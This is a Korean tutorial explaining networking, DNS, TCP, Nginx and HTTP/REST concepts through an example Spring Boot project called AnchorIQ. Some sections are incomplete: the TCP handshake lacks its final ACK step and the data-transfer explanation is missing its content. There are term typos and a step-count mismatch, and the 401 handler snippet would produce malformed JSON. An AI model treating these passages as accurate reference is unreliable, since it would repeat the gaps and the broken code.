

AnchorIQ

CS 완전 가이드 — 시스템 동작 흐름



비전공자를 위한 컴퓨터 과학 기초부터
실제 코드 레벨 동작까지

네트워크 · HTTP · REST API · Spring Boot · DDD
JWT 인증 · Neo4j · Redis · Kafka · Docker

2026.04

AnchorIQ CS 완전 가이드 — Part 1: 네트워크

"호르무즈 근처에 제재국 선박 있어?"를 입력하고 Enter를 누르는 순간, 컴퓨터 안에서 벌어지는 일을 처음부터 끝까지 설명합니다.

Chapter 1: 컴퓨터는 어떻게 대화하는가

1.1 우리가 해결해야 하는 문제

여러분이 카페에서 친구에게 말을 걸 때를 생각해 보세요. 이 단순한 행동 안에는 여러 단계가 숨어있습니다.

1. 먼저 친구가 **어디에 있는지** 알아야 합니다 (주소)
2. 친구에게 **갈 수 있는 길이** 있어야 합니다 (경로)
3. 같은 **언어**로 말해야 합니다 (프로토콜)
4. 친구가 **들고 있는지** 확인해야 합니다 (연결)
5. 말이 **중간에 끊기지 않게** 해야 합니다 (신뢰성)

컴퓨터도 똑같습니다. 여러분의 브라우저(Chrome)가 Spring Boot 서버에게 "호르무즈 근처에 제재국 선박 있어?"라고 물어보려면, 위의 모든 문제를 해결해야 합니다.

이 문제들을 체계적으로 해결하기 위해 만들어진 것이 **OSI 7계층 모델**과 **TCP/IP 프로토콜**입니다.

1.2 IP 주소 — 컴퓨터의 집 주소

문제: 수십억 대의 컴퓨터 중 "이 컴퓨터"를 어떻게 찾는가?

현실에서 편지를 보내려면 "서울시 강남구 테헤란로 123"같은 주소가 필요합니다. 컴퓨터에서는 **IP 주소**가 이 역할을 합니다.

IPv4 주소는 4개의 숫자(0~255)를 점으로 구분한 것입니다:

192.168.1.100

이것을 이진수로 표현하면:

11000000.10101000.00000001.01100100

총 32비트 = 약 43억 개의 주소를 표현할 수 있습니다.

43억 개면 충분해 보이지만, 스마트폰, IoT 기기까지 합치면 부족합니다. 그래서 **IPv6**가 나왔습니다:

IPv6: 2001:0db8:85a3:0000:0000:8a2e:0370:7334

128비트 = 약 340간(340×10^{36})개의 주소

→ 지구의 모래알 수보다 많음 → 사실상 무한

AnchorIQ에서의 IP 주소

AnchorIQ는 로컬 개발 환경에서 돌아가므로, 모든 서비스가 같은 컴퓨터에 있습니다.

127.0.0.1 — 이것은 "루프백(Loopback)" 주소입니다.

루프백이란 "*"나 자신에게 보내는 주소"입니다. 네트워크 카드를 거치지 않고 운영체제 내부에서 바로 처리됩니다. 따라서:

- 네트워크 지연이 거의 없습니다 (0.01ms 이내)
- 인터넷이 꺼져있어도 동작합니다
- 외부에서 접근할 수 없습니다 (보안상 안전)

localhost 라는 이름은 /etc/hosts 파일에서 127.0.0.1 로 매핑되어 있습니다:

```
# /etc/hosts 파일 내용
127.0.0.1    localhost
::1         localhost    # IPv6 버전
```

프로덕션 환경에서는 각 서비스가 다른 서버에 있을 수 있습니다:

```
프론트엔드 서버: 52.78.100.10
백엔드 서버:     52.78.100.20
Neo4j 서버:      52.78.100.30
Redis 서버:      52.78.100.40
```

1.3 포트 — 아파트의 호수

문제: 한 컴퓨터에서 여러 프로그램이 동시에 통신하려면?

IP 주소만으로는 부족합니다. 하나의 컴퓨터(127.0.0.1)에서 Spring Boot, Neo4j, Redis, Kafka가 동시에 돌아가고 있는데, 네트워크 패킷이 도착하면 어느 프로그램에게 전달해야 하는지 어떻게 알까요?

이 문제를 해결하는 것이 **포트(Port)** 번호입니다.

IP 주소가 **아파트 건물 주소**라면, 포트는 **호수**입니다.

127.0.0.1이라는 아파트 건물에:

3004호 → Next.js (프론트엔드)가 살고 있음
8080호 → Spring Boot (백엔드)가 살고 있음
5433호 → PostgreSQL (유저 DB)이 살고 있음
7687호 → Neo4j (그래프 DB)가 살고 있음
6380호 → Redis (캐시)가 살고 있음
29092호 → Kafka (메시지 큐)가 살고 있음
18789호 → OpenClaw (AI)가 살고 있음
5678호 → n8n (자동화)이 살고 있음

포트 번호는 **16비트 정수**이므로 0부터 65535까지 사용할 수 있습니다.

0 ~ 1023번: Well-Known Ports (예약된 번호)
웹 서버는 보통 80(HTTP)이나 443(HTTPS)을 사용합니다.
SSH는 22번, FTP는 21번을 사용합니다.
이 범위는 root 권한이 있어야 사용할 수 있습니다.

1024 ~ 49151번: Registered Ports (등록된 번호)
PostgreSQL이 5432번, MySQL이 3306번처럼
특정 소프트웨어가 관례적으로 사용하는 번호입니다.
AnchorIQ의 서비스들이 이 범위를 사용합니다.

49152 ~ 65535번: Dynamic Ports (임시 번호)
여러분이 브라우저에서 웹사이트를 열 때,
브라우저는 이 범위에서 임의의 포트를 골라 사용합니다.
예: 브라우저가 52341번 포트를 임시로 사용

소켓(Socket) — IP + 포트 = 통신의 끝점

소켓은 IP 주소와 포트 번호의 조합입니다. 네트워크 통신에서 하나의 연결은 **두 개의 소켓**으로 식별됩니다:

하나의 TCP 연결을 식별하는 4개의 정보:

(출발지 IP, 출발지 포트, 목적지 IP, 목적지 포트)
(127.0.0.1, 52341, 127.0.0.1, 8080)

이것을 "소켓 쌍(Socket Pair)"이라고 합니다.

같은 컴퓨터에서 브라우저 탭을 3개 열어도 각각 다른 임시 포트를 사용하므로, 서버는 어떤 탭에서 온 요청인지 구분할 수 있습니다:

브라우저 탭 1: (127.0.0.1:52341 → 127.0.0.1:8080) "AI 질의"
브라우저 탭 2: (127.0.0.1:52342 → 127.0.0.1:8080) "일일 브리핑"
브라우저 탭 3: (127.0.0.1:52343 → 127.0.0.1:8080) "선박 목록"

세 연결은 출발지 포트가 다르므로 완전히 별개의 연결입니다.

1.4 DNS — 이름을 주소로 바꾸기

문제: 사람은 숫자를 잘 기억하지 못한다

52.78.100.20 이라는 IP 주소를 매번 입력하는 것은 불편합니다. 전화번호를 외우지 않고 연락처에 이름을 저장하는 것처럼, DNS는 **도메인 이름을 IP 주소로 변환**해주는 시스템입니다.

naver.com → 223.130.195.200
google.com → 142.250.196.110
anchoriq.com → 52.78.100.20 (예시)

DNS의 계층 구조

DNS는 **전화번호부**를 계층적으로 나눈 것과 같습니다.

전화번호부 비유:

"김철수 서울시 강남구"를 찾으려면:

1. 서울시 전화번호부를 먼저 찾고
2. 그 안에서 강남구를 찾고
3. 그 안에서 김철수를 찾습니다

DNS도 마찬가지로:

"api.anchoriq.com"을 찾으려면:

1. .com을 관리하는 서버를 먼저 찾고 (TLD 서버)
2. anchoriq.com을 관리하는 서버를 찾고 (권한 서버)
3. api.anchoriq.com의 IP를 물어봅니다

DNS 조회 전체 과정 (매우 상세)

사용자가 브라우저에 **api.anchoriq.com** 을 입력했을 때:

Step 1: 브라우저 내부 캐시 확인

Chrome은 최근에 조회한 DNS 결과를 메모리에 저장합니다.

캐시에 `api.anchoriq.com` → `52.78.100.20`이 있으면 즉시 사용.

캐시 유효 시간: DNS 응답의 TTL(Time To Live) 값에 따름.

TTL이 300이면 300초(5분) 동안 캐시를 사용합니다.

확인 방법: Chrome에서 `chrome://net-internals/#dns` 접속

→ 캐시에 없으면 다음 단계로



Step 2: 운영체제 DNS 캐시 확인

macOS는 자체 DNS 캐시를 가지고 있습니다.

여기서도 없으면, `/etc/hosts` 파일을 확인합니다.

`/etc/hosts` 파일:

```
127.0.0.1    localhost
::1         localhost
```

"localhost"는 여기서 바로 `127.0.0.1`로 변환됩니다.

→ 네트워크 통신 없이 즉시 해결 (0ms)

`api.anchoriq.com`은 여기에 없으므로 다음 단계로



Step 3: DNS Resolver에 질의

운영체제가 설정된 DNS 서버에 질문합니다.

DNS 서버 설정 확인:

macOS: 시스템 환경설정 → 네트워크 → DNS

또는 터미널: `cat /etc/resolv.conf`

일반적으로:

- ISP(인터넷 서비스 제공자)의 DNS: 자동 할당
- Google Public DNS: `8.8.8.8`, `8.8.4.4`
- Cloudflare DNS: `1.1.1.1` (가장 빠름)

질의 내용:

"`api.anchoriq.com`의 A 레코드를 알려주세요"

(A 레코드 = 도메인 → IPv4 주소 매핑)

DNS Resolver도 캐시가 있습니다.
캐시에 있으면 바로 반환. 없으면 재귀적 질의 시작.



Step 4: Root DNS Server에 질의

전 세계에 13개의 Root DNS 서버가 있습니다.
(a.root-servers.net부터 m.root-servers.net까지)

실제로는 Anycast 기술로 수백 대의 서버가 분산 운영됩니다.
한국에도 Root 서버 미러가 있어 해외까지 안 가도 됩니다.

DNS Resolver → Root Server:
"api.anchoriq.com의 IP를 아시나요?"

Root Server 응답:
"나는 모릅니다. 하지만 .com을 관리하는 TLD 서버를 알려드리죠."
"a.gtld-servers.net (192.5.6.30)으로 물어보세요."

Root 서버는 모든 도메인의 IP를 알지 못합니다.
.com, .net, .kr 등 최상위 도메인(TLD)의 서버 위치만 알고 있습니다.



Step 5: TLD (Top-Level Domain) Server에 질의

.com TLD 서버는 .com으로 끝나는 모든 도메인의
"권한 DNS 서버(Authoritative DNS)" 위치를 알고 있습니다.

DNS Resolver → .com TLD Server:
"anchoriq.com의 DNS 서버가 어디인가요?"

TLD Server 응답:
"anchoriq.com의 네임서버는 ns1.cloudflare.com입니다."
"173.245.58.51로 물어보세요."

TLD 서버도 최종 IP를 모릅니다.
해당 도메인을 관리하는 DNS 서버의 위치만 알려줍니다.



Step 6: Authoritative DNS Server에 질의

이 서버가 anchoriq.com의 모든 DNS 레코드를 실제로 보유하고 있습니다.


```
| 도메인을 등록할 때 설정한 서버입니다.
|
| DNS Resolver → Authoritative Server:
|   "api.anchoriq.com의 A 레코드를 주세요."
|
| Authoritative Server 응답:
|   "api.anchoriq.com의 IP는 52.78.100.20입니다."
|   "TTL: 300 (5분간 캐시해도 됩니다)"
|
| 드디어 최종 답을 얻었습니다!
```



```
| Step 7: 결과 반환 및 캐싱
|
| 반환 경로 (역순):
|   Authoritative Server → DNS Resolver (캐시 저장, TTL=300)
|   DNS Resolver → 운영체제 (캐시 저장)
|   운영체제 → 브라우저 (캐시 저장)
|
| 다음에 같은 도메인을 요청하면:
|   브라우저 캐시에서 즉시 반환 → DNS 조회 시간 0ms
|   (TTL 만료 전까지)
|
| 총 소요 시간: 50~200ms (캐시 미스 시)
|               0ms (캐시 히트 시)
```

AnchorIQ 로컬 환경에서는?

AnchorIQ 로컬 환경에서는 `localhost` 를 사용하므로 위의 6단계가 전부 생략됩니다.

```
localhost → /etc/hosts에서 127.0.0.1 바로 반환
→ DNS 서버에 질의하지 않음
→ 인터넷 연결 없이도 동작
→ 조회 시간: 0ms
```

1.5 TCP — 신뢰할 수 있는 배달

문제: 데이터가 중간에 사라지면?

인터넷은 완벽하지 않습니다. 패킷이 중간에 사라질 수도 있고, 순서가 뒤바뀔 수도 있고, 같은 패킷이 두 번 올 수도 있습니다.

보낸 순서: 패킷1, 패킷2, 패킷3, 패킷4, 패킷5

도착 결과: 패킷1, 패킷3, 패킷2, ????, 패킷5

↑ 패킷4가 사라짐!

이런 상황에서 "호르무즈 근처에 제재국 선박 있어?"라는 메시지가
"호르무즈 근에 재국 선박 있어?"로 도착하면 큰 문제입니다.

TCP(Transmission Control Protocol)는 이 문제를 해결합니다:

1. **순서 보장**: 패킷에 번호를 매겨 원래 순서대로 재조립
2. **손실 감지**: 상대방이 "받았다"고 확인(ACK)하지 않으면 재전송
3. **중복 제거**: 같은 번호의 패킷이 두 번 오면 하나 버림
4. **흐름 제어**: 상대방이 처리할 수 있는 속도로 전송

TCP vs UDP

TCP (AnchorIQ가 사용):

편지를 등기우편으로 보내는 것.

- 도착 확인을 받음
- 분실 시 재발송
- 순서대로 배달
- 느리지만 확실함

UDP:

편지를 일반우편으로 보내는 것.

- 도착 확인 없음
- 분실되면 끝
- 순서 보장 없음
- 빠르지만 불확실함
- 용도: 실시간 영상통화, 게임, DNS 조회

AnchorIQ의 AI 질의는 **정확한 데이터 전달이 필수**이므로 TCP를 사용합니다. "호르무즈 근처에 제재국 선박 있어?"의 한 글자라도 빠지면 AI가 잘못된 Cypher를 생성할 수 있기 때문입니다.

TCP 3-Way Handshake 상세

브라우저가 Spring Boot 서버와 통신하기 전에, 먼저 TCP 연결을 수립해야 합니다. 이 과정을 "3-Way Handshake"라고 합니다.

왜 "약수(Handshake)"라고 부르는가? 두 사람이 만나서 서로 손을 내밀고 잡는 것처럼, 두 컴퓨터가 서로 통신할 준비가 되었는지 확인하는 과정이기 때문입니다.

[브라우저]

상태: CLOSED

(아직 아무것도 안 함)

[Spring Boot 서버]

상태: LISTEN

(8080 포트에서 대기 중)

1단계: SYN (Synchronize)

브라우저가 서버에게 "통신하고 싶다"고 요청합니다.

보내는 정보:

- SYN 플래그 = 1 (연결 요청)
- 순서 번호(seq) = 1000
(내가 보낼 데이터의 시작 번호)
- 윈도우 크기 = 65535
(한 번에 받을 수 있는 데이터 양)

비유: "안녕하세요, 저는 1000번부터 말할게요.
한 번에 65535바이트까지 들을 수 있어요."

→ SYN, seq=1000 →

상태: SYN_SENT

상태: SYN_RECEIVED

2단계: SYN + ACK

서버가 요청을 수락하고, 자신도 통신 준비가 되었다고 알려줍니다.

보내는 정보:

- SYN 플래그 = 1 (나도 연결하고 싶다)
- ACK 플래그 = 1 (네 요청을 확인했다)
- 순서 번호(seq) = 5000
(내가 보낼 데이터의 시작 번호)
- 확인 번호(ack) = 1001
(1000번까지 받았으니 1001번부터 보내)

비유: "반갑습니다. 저는 5000번부터 말할게요.
당신이 1000번까지 말한 건 잘 들었어요.
1001번부터 말씀하세요."

← SYN+ACK, seq=5000, ack=1001 ←

상태: ESTABLISHED



왜 2번이 아니라 3번 악수하는가?

만약 2번만 한다면:

상황: 브라우저가 5분 전에 SYN을 보냈는데,
네트워크 지연으로 이제야 서버에 도착함.

[5분 전 - 브라우저] ——— SYN ———→ [서버]
(이미 필요 없어서 브라우저는 연결을 포기했음)

[현재 - 서버]

"오, 연결 요청이 왔네! SYN+ACK 보내고 연결 수립!"

서버는 자원(메모리, 소켓)을 할당하고 기다림...

하지만 브라우저는 이미 이 연결에 관심이 없음.

→ 서버 자원 낭비! (반개방 연결, Half-Open Connection)

3번 악수하면:

서버가 SYN+ACK를 보내도, 브라우저가 ACK를 보내지 않으면

서버는 일정 시간 후 연결을 정리합니다.

→ 자원 낭비 방지!

TCP 데이터 전송과 신뢰성 보장

연결이 수립되면, 실제 HTTP 데이터가 TCP를 통해 전송됩니다.

"호르무즈 근처에 제재국 선박 있어?"를 포함한 HTTP 요청이 500바이트라고 가정합니다.



이것이 TCP의 "신뢰성 보장" 메커니즘입니다.
서버가 "받았다"고 확인할 때까지 재전송합니다.

TCP Keep-Alive와 Connection Pooling

매번 새 TCP 연결을 만들면 3-Way Handshake 비용이 듭니다.

HTTP/1.0 시절:

```
요청1 → [3-Way] → 전송 → [4-Way 종료]
요청2 → [3-Way] → 전송 → [4-Way 종료]   ← 매번 새 연결!
요청3 → [3-Way] → 전송 → [4-Way 종료]
```

HTTP/1.1 (AnchorIQ 사용):

```
요청1 → [3-Way] → 전송
요청2 →           전송   ← 같은 연결 재사용!
요청3 →           전송
...
(일정 시간 후) → [4-Way 종료]
```

Connection: keep-alive 헤더가 이것을 활성화합니다.
브라우저는 기본적으로 하나의 서버에 6개의 TCP 연결을 유지합니다.

1.6 Nginx — 리버스 프록시

문제: 사용자가 서버 내부 구조를 알아야 하는가?

현재 AnchorIQ 로컬 환경:

```
프론트엔드: http://localhost:3004
백엔드 API: http://localhost:8080/api
Neo4j 콘솔: http://localhost:7474
```

사용자가 이 포트 번호를 다 알아야 할까요? 프로덕션에서는 당연히 아닙니다. 사용자는 <https://anchoriq.com> 하나만 알면 됩니다.

Nginx가 이 문제를 해결합니다. 호텔의 **프론트 데스크**와 같습니다:

손님(사용자): "301호(프론트엔드)에 가고 싶어요"
"502호(백엔드 API)에 가고 싶어요"

프론트 데스크: "anchoriq.com 하나만 기억하세요."
(Nginx) 제가 알아서 안내해드릴게요."

anchoriq.com/	→ 301호(localhost:3004) 안내
anchoriq.com/api/	→ 502호(localhost:8080) 안내
anchoriq.com/ws/	→ 502호(localhost:8080) WebSocket 안내

Nginx의 이벤트 기반 아키텍처

Nginx가 Apache보다 빠른 이유를 이해하려면, 두 가지 방식을 비교해야 합니다.

[Apache 방식 - 스레드/프로세스 기반]

식당 비유: 손님마다 웨이터 한 명을 배정하는 식당

손님1 도착 → 웨이터1 배정 → 주문 받기 → 주방에 전달 → (기다림...) → 음식 서빙
손님2 도착 → 웨이터2 배정 → 주문 받기 → 주방에 전달 → (기다림...) → 음식 서빙
손님3 도착 → 웨이터3 배정 → 주문 받기 → 주방에 전달 → (기다림...) → 음식 서빙
...
손님1000 도착 → 웨이터가 없다! → 대기열에서 기다려야 함

문제: 웨이터 한 명이 "주방에서 음식 나올 때까지" 계속 서있음.
이 시간에 다른 손님을 응대할 수 없음.
손님이 많으면 웨이터도 많이 필요 → 인건비(메모리) 폭증

[Nginx 방식 - 이벤트 기반]

식당 비유: 혼자서 돌아다니며 처리하는 베테랑 웨이터

손님1 도착 → 주문 받기 → 주방에 전달 → (기다리지 않고 다음 손님에게 감)
손님2 도착 → 주문 받기 → 주방에 전달 → (기다리지 않고 다음 손님에게 감)
손님3 도착 → 주문 받기 → 주방에 전달 →
(주방에서 알림) "손님1 음식 나왔어요!" → 손님1에게 서빙
손님4 도착 → 주문 받기 →
(주방에서 알림) "손님2 음식 나왔어요!" → 손님2에게 서빙

장점: 웨이터 한 명이 수천 명의 손님을 처리 가능.
"기다리는 시간"에 다른 일을 하기 때문.

이것이 이벤트 기반(Event-Driven) 또는 비동기(Asynchronous) 처리입니다.

Nginx가 AnchorIQ에서 하는 7가지 일 (프로덕션)

1. SSL/TLS 종료 (SSL Termination)

사용자 ← HTTPS (암호화) → Nginx ← HTTP (평문) → Spring Boot

암호화/복호화는 CPU를 많이 씁니다.

Nginx가 이 작업을 대신 처리하면, Spring Boot는 비즈니스 로직에 집중할 수 있습니다.

Nginx → Spring Boot 구간은 같은 서버 내부이므로 HTTP로도 안전합니다.

2. 경로 기반 라우팅 (Path-Based Routing)

```
/           → Next.js (포트 3004)   프론트엔드
/api/*      → Spring Boot (포트 8080) 백엔드 API
/ws/*       → Spring Boot (포트 8080) WebSocket
/grafana/*  → Grafana (포트 3001)   모니터링
```

3. 로드 밸런싱 (Load Balancing)

서버가 3대일 때:

요청1 → 서버A

요청2 → 서버B

요청3 → 서버C

요청4 → 서버A (순환)

알고리즘: Round Robin, Least Connections, IP Hash 등

4. Rate Limiting (속도 제한)

같은 IP에서 초당 10개 이상 요청 시 429 반환.

DDoS 공격 방어.

5. 정적 파일 서빙

CSS, JavaScript, 이미지 파일을 Spring Boot까지 보내지 않고

Nginx가 직접 파일 시스템에서 읽어서 전달.

→ Spring Boot 부하 감소

6. 응답 압축 (gzip)

JSON 응답을 gzip으로 압축하면 크기가 60~80% 줄어듭니다.

원본 10KB → 압축 2KB

→ 네트워크 대역폭 절약, 사용자 체감 속도 향상

7. 보안 헤더 추가

X-Frame-Options: DENY (Clickjacking 방지)

```
X-Content-Type-Options: nosniff (MIME 스니핑 방지)
Strict-Transport-Security: ... (HTTPS 강제)
```

이 Part 1에서 다룬 것:

- 컴퓨터가 대화하는 기본 원리
- IP 주소와 포트의 동작 방식
- DNS가 이름을 주소로 바꾸는 6단계
- TCP가 데이터를 안전하게 전달하는 방법
- Nginx가 프로덕션에서 하는 역할

다음 Part에서는 HTTP 프로토콜과 REST API를 같은 깊이로 다룹니다.

AnchorIQ CS 완전 가이드 — Part 2: HTTP와 REST API

Chapter 2: HTTP — 브라우저와 서버의 대화 규칙

2.1 HTTP는 왜 필요한가

TCP로 연결이 수립되면 데이터를 주고받을 수 있습니다. 하지만 어떤 형식으로 보내야 할까요?

두 사람이 대화할 때도 규칙이 있습니다:

- 한 사람이 질문하면 다른 사람이 대답합니다
- 질문에는 "무엇을 원하는지"가 포함되어야 합니다
- 대답에는 "결과가 어땠는지"가 포함되어야 합니다

HTTP(HyperText Transfer Protocol)는 바로 이 대화 규칙입니다.

규칙 1: 항상 "요청 → 응답" 쌍으로 동작합니다.

요청 없이 서버가 먼저 말을 걸 수 없습니다.
(WebSocket은 예외 — 나중에 설명)

규칙 2: 요청에는 "무엇을 원하는지"가 포함됩니다.

GET = "보여줘", POST = "처리해줘"

규칙 3: 응답에는 "결과가 어떤지"가 포함됩니다.

200 = "성공", 404 = "없다", 500 = "내가 고장났다"

규칙 4: 서버는 이전 대화를 기억하지 않습니다 (Stateless).

매번 새로운 대화처럼 처리합니다.

그래서 "나 누구야"를 매번 증명해야 합니다 (JWT 토큰).

2.2 HTTP 요청(Request) 완전 분석

AnchorIQ에서 AI 질의를 할 때 브라우저가 보내는 실제 HTTP 요청을 한 줄씩 분석합니다.

요청 라인 (Request Line)

POST /api/ai/query HTTP/1.1

└─ 프로토콜 버전

HTTP/1.1은 1997년에 만들어진 버전입니다.

Keep-Alive(연결 재사용)가 기본 지원됩니다.

HTTP/2는 멀티플렉싱(하나의 연결로 여러 요청)을 지원합니다.

HTTP/3는 UDP 기반 QUIC 프로토콜을 사용합니다.

└─ 경로 (Path)

서버에서 어떤 자원(Resource)을 요청하는지 나타냅니다.

/api/ai/query = "AI 질의 처리기"에게 보내는 요청

Spring Boot에서:

@RequestMapping("/api/ai") 클래스 레벨

@PostMapping("/query") 메서드 레벨

→ /api/ai + /query = /api/ai/query

└─ HTTP 메서드 (Method)

"이 요청으로 뭘 하고 싶은지"를 나타냅니다.

POST = "데이터를 보내서 처리해줘"

HTTP 메서드 상세 비교

HTTP 메서드는 "동사"입니다. URL이 "명사(자원)"라면, 메서드는 "그 자원으로 뭘 할 것인지"를 나타냅니다.

GET

의미: "이 자원을 보여줘"

비유: 도서관에서 책을 읽는 것 (책이 변하지 않음)

특징:

- 서버의 상태를 바꾸지 않습니다 (안전, Safe)
- 10번 실행해도 결과가 같습니다 (멥등, Idempotent)
- 요청에 Body(본문)가 없습니다
- 데이터는 URL의 쿼리 파라미터로 전달합니다
- 브라우저가 결과를 캐시할 수 있습니다
- 브라우저 주소창에 URL이 보입니다

AnchorIQ 예시:

GET /api/ai/briefing

→ 일일 브리핑 조회 (서버 데이터 변경 없음)

GET /api/vessels?flag=KR&type=TANKER

→ 한국 국적 유조선 목록 조회

→ flag=KR, type=TANKER가 쿼리 파라미터

GET /api/ai/usage

→ AI 사용량 조회

Spring Boot 코드:

```
@GetMapping("/briefing")
public ResponseEntity<ApiResponse> getDailyBriefing() {
    // Body 파라미터 없음 - GET은 본문이 없으므로
    return ResponseEntity.ok(
        ApiResponse.success(service.getDailyBriefing()));
}
```

POST

의미: "이 데이터를 처리해줘" 또는 "새로운 자원을 만들어줘"

비유: 식당에서 주문서를 내는 것 (새 음식이 만들어짐)

특징:

- 서버의 상태를 바꿀 수 있습니다 (비안전, Unsafe)
- 같은 요청을 보내도 결과가 다를 수 있습니다 (비멥등)
- 예: 회원가입을 2번 하면 "이미 존재" 에러
- 예: AI 질의를 2번 하면 API 사용량이 2 증가
- 요청에 Body(본문)가 있습니다
- 데이터가 URL에 노출되지 않습니다 (보안상 유리)
- 기본적으로 캐시되지 않습니다

AnchorIQ 예시:

POST /api/ai/query

Body: {"query": "호르무즈 근처에 제재국 선박 있어?"}

→ AI 질의 실행 (API 사용량 증가, 로그 기록 = 서버 상태 변경)

POST /api/auth/signup

Body: {"email": "a@b.com", "password": "1234", "name": "A"}

→ 새 유저 생성 (DB에 레코드 추가 = 서버 상태 변경)

POST /api/auth/login

Body: {"email": "a@b.com", "password": "1234"}

→ 로그인 처리 (JWT 토큰 발급, 세션 기록)

Spring Boot 코드:

```
@PostMapping("/query")
```

```
public ResponseEntity<ApiResponse> query(
```

```
    @RequestBody AiQueryRequest request,
```

```
    // ↑ Body의 JSON을 AiQueryRequest 객체로 변환
```

```
    @AuthenticationPrincipal UserPrincipal user
```

```
    // ↑ JWT에서 추출한 사용자 정보
```

```
) {
```

```
    Map<String, Object> result =
```

```
        service.handleQuery(request.query(), user.userId());
```

```
    return ResponseEntity.ok(ApiResponse.success(result));
```

```
}
```

PUT

의미: "이 자원을 이 내용으로 전체 교체해줘"

비유: 이력서를 통째로 새 버전으로 교체하는 것

특징:

- 멍등(Idempotent): 같은 PUT을 10번 해도 결과가 같음

(같은 이력서로 10번 교체해도 최종 이력서는 같음)

- Body에 자원의 완전한 표현을 포함

AnchorIQ 예시:

PUT /api/workflows/42

Body: {"name": "호르무즈 감시", "condition": "...",

"action": "slack", "active": true}

→ 워크플로우 #42를 이 내용으로 전체 교체

DELETE

의미: "이 자원을 삭제해줘"

비유: 도서관에서 책을 폐기 처리하는 것

특징:

- 멍등: 이미 삭제된 것을 또 삭제하면 404지만, 결과는 같음
(책이 없는 상태 = 이미 삭제된 상태)
- 보통 Body가 없습니다

AnchorIQ 예시:

DELETE /api/bookmarks/7

→ 북마크 #7 삭제

GET과 POST의 핵심 차이를 코드로 보기

GET 요청 - 데이터가 URL에 포함됨:

브라우저 주소창: `http://localhost:8080/api/vessels?flag=KR&type=TANKER`
↑ 쿼리 파라미터

장점: 북마크 가능, 링크 공유 가능, 캐시 가능

단점: URL에 노출됨, URL 길이 제한 (보통 2048자)

Spring Boot:

@GetMapping("/vessels")

```
public ResponseEntity<ApiResponse> getVessels(  
    @RequestParam(required = false) String flag, // URL에서 추출  
    @RequestParam(required = false) String type // URL에서 추출  
) { ... }
```

POST 요청 - 데이터가 Body에 포함됨:

URL: `http://localhost:8080/api/ai/query`

Body: `{"query": "호르무즈 근처에 제재국 선박 있어?"}`

↑ URL에 안 보임

장점: 데이터 크기 제한 없음, URL에 안 보임

단점: 북마크/캐시 불가

Spring Boot:

@PostMapping("/query")

```
public ResponseEntity<ApiResponse> query(  
    @RequestBody AiQueryRequest request // Body에서 추출 (JSON → 객체)  
) { ... }
```


2.3 HTTP 응답(Response) 완전 분석

상태 코드 — 서버의 대답 요약

상태 코드는 **3자리 숫자**로, 서버가 요청을 어떻게 처리했는지 알려줍니다. 첫 번째 숫자가 카테고리를 나타냅니다.

2xx - 성공 (Success)

200 OK

가장 일반적인 성공 응답.

AnchorIQ: AI 질의 성공, 일일 브리핑 조회 성공

실제 응답:

```
{
  "success": true,
  "data": {
    "answer": "현재 조회 결과상 호르무즈 인근에...",
    "cypher": "MATCH (v:Vessel)...",
    "entities": []
  },
  "timestamp": "2026-04-04T04:43:17.126Z"
}
```

201 Created

새로운 자원이 생성되었을 때.

AnchorIQ: 회원가입 성공 시

POST /api/auth/signup → 201 Created

```
{
  "success": true,
  "data": {
    "id": 5,
    "email": "aitest@anchoriq.com",
    "name": "AI Tester"
  }
}
```

204 No Content

성공했지만 반환할 데이터가 없을 때.

AnchorIQ: 북마크 삭제 성공 시 (삭제했으니 반환할 게 없음)

4xx - 클라이언트 에러 (Client Error)

400 Bad Request

요청 형식이 잘못되었을 때.

어떤 상황에서 발생하나?

- JSON 형식이 깨졌을 때: {"query": } ← 값이 없음
- 필수 필드가 없을 때: {} ← query 필드 자체가 없음
- 타입이 맞지 않을 때: {"query": 12345} ← 숫자인데 문자열 기대
- @NotBlank 위반: {"query": ""} ← 빈 문자열

Spring Boot에서 발생 과정:

- ① Jackson이 JSON 파싱 시도
- ② @Valid 어노테이션이 Bean Validation 실행
- ③ @NotBlank 위반 → MethodArgumentNotValidException 발생
- ④ Spring이 자동으로 400 응답

401 Unauthorized

"너 누구야?" - 인증(Authentication)이 안 된 상태.

어떤 상황에서 발생하나?

- JWT 토큰 없이 API 호출
- JWT 토큰이 만료됨
- JWT 토큰의 서명이 유효하지 않음 (위조)

AnchorIQ에서의 처리:

SecurityConfig.java에서:

```
.exceptionHandling(exception -> exception
    .authenticationEntryPoint((request, response, ex) -> {
        response.setStatus(401);
        response.setContentType("application/json");
        response.getWriter().write(
            "{\"success\":false,\"error\":\"" +
            "{\"code\":\"UNAUTHORIZED\",\"" +
            "\"message\":\"Authentication required\"}}");
    })))
```

프론트엔드에서의 처리:

401을 받으면 → POST /api/auth/refresh로 토큰 갱신 시도

갱신 실패하면 → 로그인 페이지로 리다이렉트

403 Forbidden

"넌 안 돼" - 인증은 됐지만 권한(Authorization)이 없는 상태.

401과의 차이:

401: "너 누구야?" (로그인을 안 했거나 토큰이 잘못됨)

403: "너가 누군지는 알지만, 이 기능은 쓸 수 없어"

AnchorIQ 예시:

- USER 역할인데 /api/admin/** 접근 시도 → 403
- FREE 플랜인데 What-if 시뮬레이션 시도 → 403

404 Not Found

"그런 거 없어" - 요청한 자원이 존재하지 않음.

예시:

GET /api/vessels/00000000 → IMO 00000000인 선박 없음 → 404

GET /api/nonexistent → 이런 경로 자체가 없음 → 404

429 Too Many Requests

"좀 쉬어" - 요청이 너무 많을 때.

AnchorIQ에서:

FREE 플랜은 AI 질의가 하루 5회로 제한됩니다.

6번째 질의 시: PlanLimitExceededException → 429

코드:

```
AiQueryApplicationServiceImpl.checkApiQuota(userId);  
→ subscriptionService.hasRemainingApiQuota(userId)가 false  
→ throw new PlanLimitExceededException()  
→ @ExceptionHandler가 429 응답으로 변환
```

5xx - 서버 에러 (Server Error)

500 Internal Server Error

"내가 고장났어" - 서버에서 예상치 못한 오류 발생.

어떤 상황에서 발생하나?

- NullPointerException (코드 버그)
- Neo4j 연결이 끊어짐
- OpenClaw AI가 응답하지 않음
- OutOfMemoryError (메모리 부족)

502 Bad Gateway

Nginx가 백엔드(Spring Boot)에서 잘못된 응답을 받았을 때.
보통 Spring Boot가 죽어있거나 시작 중일 때 발생.

503 Service Unavailable

서버가 일시적으로 요청을 처리할 수 없을 때.
배포 중이거나 과부하 상태.

504 Gateway Timeout

Nginx가 Spring Boot의 응답을 시간 내에 못 받았을 때.
AI 질의가 60초 넘게 걸리면 발생할 수 있음.

OpenClawClient의 timeout 설정: 60초

Nginx의 proxy_read_timeout 설정을 이보다 길게 설정해야 함.

